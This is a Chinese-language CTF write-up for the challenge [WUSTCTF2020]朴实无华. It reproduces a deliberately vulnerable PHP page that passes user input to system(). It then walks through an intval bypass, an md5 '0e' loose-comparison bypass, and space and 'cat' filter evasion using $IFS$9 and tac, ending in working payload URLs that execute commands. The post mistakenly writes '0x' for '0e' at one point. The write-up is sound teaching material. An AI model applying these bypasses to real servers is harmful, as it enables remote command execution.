多维绕过RCE
来自:
[WUSTCTF2020]朴实无华
一打开,就让我们去黑它,确实很朴实无华.....
但是也没找到啥信息,那就用dirsearch,
但这里我看到title有个bot,那就是一下robots.txt,一搜还真有:
虽然是假的,但是应该会暗藏玄机。
访问后没看到什么东西,可以bp抓个包,也可以直接f12看,发现:
那搜一下看看:
得到有中文乱码的抽象源码:
<img src="/img.jpg"> <?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__); //level 1 if (isset($_GET['num'])){ $num = $_GET['num']; if(intval($num) < 2020 && intval($num + 1) > 2021){ echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>"; }else{ die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�"); } }else{ die("鍘婚潪娲插惂"); } //level 2 if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>"; else die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�"); }else{ die("鍘婚潪娲插惂"); } //get flag if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>"; system($get_flag); }else{ die("蹇埌闈炴床浜�"); } }else{ die("鍘婚潪娲插惂"); } ?> 鍘婚潪娲插惂
这里不想去解中文了,其实用unicode解码可以解出来,但看代码就能猜出来想让我们干啥。
显然是要绕过这三个地方:
//level 1 if (isset($_GET['num'])){ $num = $_GET['num']; if(intval($num) < 2020 && intval($num + 1) > 2021) //level 2 if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) //get flag if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); system($get_flag);
看到最后就知道肯定可以RCE,虽然不能用cat,但是var_dump,tac什么的都可以用。
level1
第一个问题就是,如何绕过这个intval矛盾函数?
搜了一下,对于intval函数的漏洞,我们可以用e科学计数法绕过:
发现intval有个地方有点奇怪,就是输入'1e10'的时候,它只提取出第一个数字。(其实php很多地方对数字检测都只看前面,后的出现字母就不看了,这里就可以狠狠利用)
而php还有个强制转换的机制,就是如果我们将一个字符串和一个数字相加,首先php会将字符串转换成数字,然后将两个数字相加。
去试了一下,如果又把这个有科学计数法的数字+1再输出,返回的就是原始的大数+1,而不是1+1了。
那第一个点就轻松绕过了。
level2
第二个问题,老生常谈的php绕过,但我之前总结的都是数组绕过、0e绕过之类的、md5碰撞之类的,这次我以为变样子了,其实这里还是可以用0e绕过。
因为它用了==,这就是php弱比较的问题,而当php进行==弱比较时,会把以0x开头的字符串认为是相同的。
那不就完了,我们直接去搜开头是0e以及它的md5值是0e的字符串,这里写出来可以方便以后使用:
0e215962017
(写博客的时候,这个博客园插入代码都没识别出来,还一个劲提示我请输入代码....看来0e确实强嗷...)
get flag
判断条件是 $get_flag 不能有空格,有很多可以替代,用<、$IFS$9、{$IFS}等替换就可以了,我的web笔记里也有写。
不让用cat,还可以用用tac啊:
关于tac
cat 和 tac 都是Linux打印文件的命令,但是cat是从第一行至最后一行顺序打印,而tac是最后一行至第一行反向打印。
那payload我们就一气呵成:(这里get传参默认是字符串,不要再去加引号了)
?num=2e5&md5=0e215962017&get_flag=ls
?num=2e5&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
不知道为啥这里{$IFS}失败了,算了,那就用$IFS$,也一样。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通